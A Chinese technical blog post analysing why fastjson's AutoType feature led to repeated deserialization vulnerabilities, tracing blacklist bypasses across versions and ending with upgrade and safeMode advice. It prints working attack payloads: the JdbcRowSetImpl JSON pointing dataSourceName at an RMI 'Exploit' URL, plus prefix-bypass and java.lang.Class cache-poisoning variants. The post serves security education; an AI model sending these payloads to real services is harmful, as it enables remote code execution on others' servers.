1. 程式人生 > >fastjson到底做錯了什麼?為什麼會被頻繁爆出漏洞?

fastjson到底做錯了什麼?為什麼會被頻繁爆出漏洞?

[GitHub 15.8k Star 的Java工程師成神之路,不來了解一下嗎!](https://github.com/hollischuang/toBeTopJavaer) [GitHub 15.8k Star 的Java工程師成神之路,真的不來了解一下嗎!](https://github.com/hollischuang/toBeTopJavaer) [GitHub 15.8k Star 的Java工程師成神之路,真的真的不來了解一下嗎!](https://github.com/hollischuang/toBeTopJavaer) fastjson大家一定都不陌生,這是阿里巴巴的開源一個JSON解析庫,通常被用於將Java Bean和JSON 字串之間進行轉換。 前段時間,fastjson被爆出過多次存在漏洞,很多文章報道了這件事兒,並且給出了升級建議。 但是作為一個開發者,我更關注的是他為什麼會頻繁被爆漏洞?於是我帶著疑惑,去看了下fastjson的releaseNote以及部分原始碼。 最終發現,這其實和fastjson中的一個AutoType特性有關。 從2019年7月份釋出的v1.2.59一直到2020年6月份釋出的 v1.2.71 ,每個版本的升級中都有關於AutoType的升級。 下面是fastjson的官方releaseNotes 中,幾次關於AutoType的重要升級: > 1\.2.59釋出,增強AutoType開啟時的安全性 fastjson > > 1\.2.60釋出,增加了AutoType黑名單,修復拒絕服務安全問題 fastjson > > 1\.2.61釋出,增加AutoType安全黑名單 fastjson > > 1\.2.62釋出,增加AutoType黑名單、增強日期反序列化和JSONPath fastjson > > 1\.2.66釋出,Bug修復安全加固,並且做安全加固,補充了AutoType黑名單 fastjson > > 1\.2.67釋出,Bug修復安全加固,補充了AutoType黑名單 fastjson > > 1\.2.68釋出,支援GEOJSON,補充了AutoType黑名單。(**引入一個safeMode的配置,配置safeMode後,無論白名單和黑名單,都不支援autoType。**) fastjson > > 1\.2.69釋出,修復新發現高危AutoType開關繞過安全漏洞,補充了AutoType黑名單 fastjson > > 1\.2.70釋出,提升相容性,補充了AutoType黑名單 甚至在fastjson的開源庫中,有一個Issue是建議作者提供不帶autoType的版本: ![-w747][1] 那麼,什麼是AutoType?為什麼fastjson要引入AutoType?為什麼AutoType會導致安全漏洞呢?本文就來深入分析一下。 ### AutoType 何方神聖? fastjson的主要功能就是將Java Bean序列化成JSON字串,這樣得到字串之後就可以通過資料庫等方式進行持久化了。 但是,fastjson在序列化以及反序列化的過程中並沒有使用[Java自帶的序列化機制][2],而是自定義了一套機制。 其實,對於JSON框架來說,想要把一個Java物件轉換成字串,可以有兩種選擇: * 1、基於屬性 * 2、基於setter/getter 而我們所常用的JSON序列化框架中,FastJson和jackson在把物件序列化成json字串的時候,是通過遍歷出該類中的所有getter方法進行的。Gson並不是這麼做的,他是通過反射遍歷該類中的所有屬性,並把其值序列化成json。 假設我們有以下一個Java類: class Store { private String name; private Fruit fruit; public String getName() { return name; } public void setName(String name) { this.name = name; } public Fruit getFruit() { return fruit; } public void setFruit(Fruit fruit) { this.fruit = fruit; } } interface Fruit { } class Apple implements Fruit { private BigDecimal price; //省略 setter/getter、toString等 } **當我們要對他進行序列化的時候,fastjson會掃描其中的getter方法,即找到getName和getFruit,這時候就會將name和fruit兩個欄位的值序列化到JSON字串中。** 那麼問題來了,我們上面的定義的Fruit只是一個介面,序列化的時候fastjson能夠把屬性值正確序列化出來嗎?如果可以的話,那麼反序列化的時候,fastjson會把這個fruit反序列化成什麼型別呢? 我們嘗試著驗證一下,基於(fastjson v 1.2.68): Store store = new Store(); store.setName("Hollis"); Apple apple = new Apple(); apple.setPrice(new BigDecimal(0.5)); store.setFruit(apple); String jsonString = JSON.toJSONString(store); System.out.println("toJSONString : " + jsonString); 以上程式碼比較簡單,我們建立了一個store,為他指定了名稱,並且建立了一個Fruit的子型別Apple,然後將這個store使用`JSON.toJSONString`進行序列化,可以得到以下JSON內容: toJSONString : {"fruit":{"price":0.5},"name":"Hollis"} 那麼,這個fruit的型別到底是什麼呢,能否反序列化成Apple呢?我們再來執行以下程式碼: Store newStore = JSON.parseObject(jsonString, Store.class); System.out.println("parseObject : " + newStore); Apple newApple = (Apple)newStore.getFruit(); System.out.println("getFruit : " + newApple); 執行結果如下: toJSONString : {"fruit":{"price":0.5},"name":"Hollis"} parseObject : Store{name='Hollis', fruit={}} Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26) 可以看到,在將store反序列化之後,我們嘗試將Fruit轉換成Apple,但是丟擲了異常,嘗試直接轉換成Fruit則不會報錯,如: Fruit newFruit = newStore.getFruit(); System.out.println("getFruit : " + newFruit); 以上現象,我們知道,**當一個類中包含了一個介面(或抽象類)的時候,在使用fastjson進行序列化的時候,會將子型別抹去,只保留介面(抽象類)的型別,使得反序列化時無法拿到原始型別。** 那麼有什麼辦法解決這個問題呢,fastjson引入了AutoType,即在序列化的時候,把原始型別記錄下來。 使用方法是通過`SerializerFeature.WriteClassName`進行標記,即將上述程式碼中的 String jsonString = JSON.toJSONString(store); 修改成: String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName); 即可,以上程式碼,輸出結果如下: System.out.println("toJSONString : " + jsonString); { "@type":"com.hollis.lab.fastjson.test.Store", "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 }, "name":"Hollis" } 可以看到,**使用`SerializerFeature.WriteClassName`進行標記後,JSON字串中多出了一個`@type`欄位,標註了類對應的原始型別,方便在反序列化的時候定位到具體型別** 如上,將序列化後的字串在反序列化,既可以順利的拿到一個Apple型別,整體輸出內容: toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"} parseObject : Store{name='Hollis', fruit=Apple{price=0.5}} getFruit : Apple{price=0.5} 這就是AutoType,以及fastjson中引入AutoType的原因。 但是,也正是這個特性,因為在功能設計之初在安全方面考慮的不夠周全,也給後續fastjson使用者帶來了無盡的痛苦 ### AutoType 何錯之有? 因為有了autoType功能,那麼fastjson在對JSON字串進行反序列化的時候,就會讀取`@type`到內容,試圖把JSON內容反序列化成這個物件,並且會呼叫這個類的setter方法。 那麼就可以利用這個特性,自己構造一個JSON字串,並且使用`@type`指定一個自己想要使用的攻擊類庫。 舉個例子,黑客比較常用的攻擊類庫是`com.sun.rowset.JdbcRowSetImpl`,這是sun官方提供的一個類庫,這個類的dataSourceName支援傳入一個rmi的源,當解析這個uri的時候,就會支援rmi遠端呼叫,去指定的rmi地址中去呼叫方法。 而fastjson在反序列化時會呼叫目標類的setter方法,那麼如果黑客在JdbcRowSetImpl的dataSourceName中設定了一個想要執行的命令,那麼就會導致很嚴重的後果。 如通過以下方式定一個JSON串,即可實現遠端命令執行(在早期版本中,新版本中JdbcRowSetImpl已經被加了黑名單) {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true} **這就是所謂的遠端命令執行漏洞,即利用漏洞入侵到目標伺服器,通過伺服器執行命令。** 在早期的fastjson版本中(v1.2.25 之前),因為AutoType是預設開啟的,並且也沒有什麼限制,可以說是裸著的。 從v1.2.25開始,fastjson預設關閉了autotype支援,並且加入了checkAutotype,加入了黑名單+白名單來防禦autotype開啟的情況。 但是,也是從這個時候開始,黑客和fastjson作者之間的博弈就開始了。 因為fastjson預設關閉了autotype支援,並且做了黑白名單的校驗,所以攻擊方向就轉變成了"如何繞過checkAutotype"。 下面就來細數一下各個版本的fastjson中存在的漏洞以及攻擊原理,**由於篇幅限制,這裡並不會講解的特別細節,如果大家感興趣我後面可以單獨寫一篇文章講講細節**。下面的內容主要是提供一些思路,目的是說明寫程式碼的時候注意安全性的重要性。 #### 繞過checkAutotype,黑客與fastjson的博弈 在fastjson v1.2.41 之前,在checkAutotype的程式碼中,會先進行黑白名單的過濾,如果要反序列化的類不在黑白名單中,那麼才會對目標類進行反序列化。 但是在載入的過程中,fastjson有一段特殊的處理,那就是在具體載入類的時候會去掉className前後的`L`和`;`,形如`Lcom.lang.Thread;`。 ![-w853][3] 而黑白名單又是通過startWith檢測的,那麼黑客只要在自己想要使用的攻擊類庫前後加上`L`和`;`就可以繞過黑白名單的檢查了,也不耽誤被fastjson正常載入。 如`Lcom.sun.rowset.JdbcRowSetImpl;`,會先通過白名單校驗,然後fastjson在載入類的時候會去掉前後的`L`和`,變成了`com.sun.rowset.JdbcRowSetImpl`。 為了避免被攻擊,在之後的 v1.2.42版本中,在進行黑白名單檢測的時候,fastjson先判斷目標類的類名的前後是不是`L`和`;`,如果是的話,就擷取掉前後的`L`和`;`再進行黑白名單的校驗。 看似解決了問題,但是黑客發現了這個規則之後,就在攻擊時在目標類前後雙寫`LL`和`;;`,這樣再被擷取之後還是可以繞過檢測。如`LLcom.sun.rowset.JdbcRowSetImpl;;` 魔高一尺,道高一丈。在 v1.2.43中,fastjson這次在黑白名單判斷之前,增加了一個是否以`LL`未開頭的判斷,如果目標類以`LL`開頭,那麼就直接拋異常,於是就又短暫的修復了這個漏洞。 黑客在`L`和`;`這裡走不通了,於是想辦法從其他地方下手,因為fastjson在載入類的時候,不只對`L`和`;`這樣的類進行特殊處理,還對`[`也被特殊處理了。 同樣的攻擊手段,在目標類前面新增`[`,v1.2.43以前的所有版本又淪陷了。 於是,在 v1.2.44版本中,fastjson的作者做了更加嚴格的要求,只要目標類以`[`開頭或者以`;`結尾,都直接拋異常。也就解決了 v1.2.43及歷史版本中發現的bug。 在之後的幾個版本中,黑客的主要的攻擊方式就是繞過黑名單了,而fastjson也在不斷的完善自己的黑名單。 #### autoType不開啟也能被攻擊? 但是好景不長,在升級到 v1.2.47 版本時,黑客再次找到了辦法來攻擊。而且這個攻擊只有在autoType關閉的時候才生效。 是不是很奇怪,autoType不開啟反而會被攻擊。 因為**在fastjson中有一個全域性快取,在類載入的時候,如果autotype沒開啟,會先嚐試從快取中獲取類,如果快取中有,則直接返回。**黑客正是利用這裡機制進行了攻擊。 黑客先想辦法把一個類加到快取中,然後再次執行的時候就可以繞過黑白名單檢測了,多麼聰明的手段。 首先想要把一個黑名單中的類加到快取中,需要使用一個不在黑名單中的類,這個類就是`java.lang.Class` `java.lang.Class`類對應的deserializer為MiscCodec,反序列化時會取json串中的val值並載入這個val對應的類。 如果fastjson cache為true,就會快取這個val對應的class到全域性快取中 如果再次載入val名稱的類,並且autotype沒開啟,下一步就是會嘗試從全域性快取中獲取這個class,進而進行攻擊。 所以,黑客只需要把攻擊類偽裝以下就行了,如下格式: {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"} 於是在 v1.2.48中,fastjson修復了這個bug,在MiscCodec中,處理Class類的地方,設定了fastjson cache為false,這樣攻擊類就不會被快取了,也就不會被獲取到了。 在之後的多個版本中,黑客與fastjson又繼續一直都在繞過黑名單、新增黑名單中進行周旋。 直到後來,黑客在 v1.2.68之前的版本中又發現了一個新的漏洞利用方式。 #### 利用異常進行攻擊 在fastjson中, 如果,@type 指定的類為 Throwable 的子類,那對應的反序列化處理類就會使用到 ThrowableDeserializer 而在ThrowableDeserializer#deserialze的方法中,當有一個欄位的key也是 @type時,就會把這個 value 當做類名,然後進行一次 checkAutoType 檢測。 並且指定了expectClass為Throwable.class,但是**在checkAutoType中,有這樣一約定,那就是如果指定了expectClass ,那麼也會通過校驗。** ![-w869][4] 因為fastjson在反序列化的時候會嘗試執行裡面的getter方法,而Exception類中都有一個getMessage方法。 黑客只需要自定義一個異常,並且重寫其getMessage就達到了攻擊的目的。 **這個漏洞就是6月份全網瘋傳的那個"嚴重漏洞",使得很多開發者不得不升級到新版本。** 這個漏洞在 v1.2.69中被修復,主要修復方式是對於需要過濾掉的expectClass進行了修改,新增了4個新的類,並且將原來的Class型別的判斷修改為hash的判斷。 其實,根據fastjson的官方文件介紹,即使不升級到新版,在v1.2.68中也可以規避掉這個問題,那就是使用safeMode ### AutoType 安全模式? 可以看到,這些漏洞的利用幾乎都是圍繞AutoType來的,於是,在 v1.2.68版本中,引入了safeMode,配置safeMode後,無論白名單和黑名單,都不支援autoType,可一定程度上緩解反序列化Gadgets類變種攻擊。 設定了safeMode後,@type 欄位不再生效,即當解析形如{"@type": "com.java.class"}的JSON串時,將不再反序列化出對應的類。 開啟safeMode方式如下: ParserConfig.getGlobalInstance().setSafeMode(true); 如在本文的最開始的程式碼示例中,使用以上程式碼開啟safeMode模式,執行程式碼,會得到以下異常: Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244) 但是值得注意的是,使用這個功能,fastjson會直接禁用autoType功能,即在checkAutoType方法中,直接丟擲一個異常。 ![-w821][5] ### 後話 目前fastjson已經發布到了 v1.2.72版本,歷史版本中存在的已知問題在新版本中均已修復。 開發者可以將自己專案中使用的fastjson升級到最新版,並且如果程式碼中不需要用到AutoType的話,可以考慮使用safeMode,但是要評估下對歷史程式碼的影響。 因為**fastjson自己定義了序列化工具類,並且使用asm技術避免反射、使用快取、並且做了很多演算法優化等方式,大大提升了序列化及反序列化的效率。** 之前有網友對比過: ![-w808][6] 當然,**快的同時也帶來了一些安全性問題,這是不可否認的。** 最後,其實我還想說幾句,雖然fastjson是阿里巴巴開源出來的,但是據我所知,這個專案大部分時間都是其作者溫少一個人在靠業餘時間維護的。 知乎上有網友說:"**溫少幾乎憑一己之力撐起了一個被廣泛使用JSON庫,而其他庫幾乎都是靠一整個團隊,就憑這一點,溫少作為“初心不改的阿里初代開源人”,當之無愧。**" 其實,關於fastjson漏洞的問題,阿里內部也有很多人詬病過,但是詬病之後大家更多的是給予**理解**和**包容**。 fastjson目前是國產類庫中比較出名的一個,可以說是倍受關注,所以漸漸成了安全研究的重點,所以會有一些深度的漏洞被發現。就像溫少自己說的那樣: "和發現漏洞相比,更糟糕的是有漏洞不知道被人利用。及時發現漏洞並升級版本修復是安全能力的一個體現。" 就在我寫這篇文章的時候,在釘釘上問了溫少一個問題,他竟然秒回,這令我很驚訝。因為那天是週末,週末釘釘可以做到秒回,這說明了什麼? 他大概率是在利用自己的業餘維護fastjson吧... 最後,知道了fastjson歷史上很多漏洞產生的原因之後,其實對我自己來說,我是"更加敢用"fastjson了... 致敬fastjson!致敬安全研究者!致敬溫少! 參考資料: https://github.com/alibaba/fastjson/releases https://github.com/alibaba/fastjson/wiki/security_update_20200601 https://paper.seebug.org/1192/ https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ http://www.lmxspace.com/2019/06/29/FastJson-反序列化學習 [1]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938379635086.jpg [2]: https://www.hollischuang.com/archives/1140 [3]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938462506312.jpg [4]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938495572144.jpg [5]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938532891003.jpg [6]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938545656293.jpg